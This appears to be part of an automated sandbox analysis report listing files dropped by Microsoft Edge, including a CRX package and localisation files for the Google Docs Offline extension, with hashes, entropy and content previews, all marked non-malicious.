SHA-512:	F7E1E579A42E8ACF261CC3A1B62188089ABB441B5D8CF3F00FD638FEDE1802140BB4CBDA445C09613A537AB19DBB4A920B8362FD2F6FD44FEA44538385EE0BF4
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e2b1a9cf-dbfe-4a17-be8c-604802655791.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
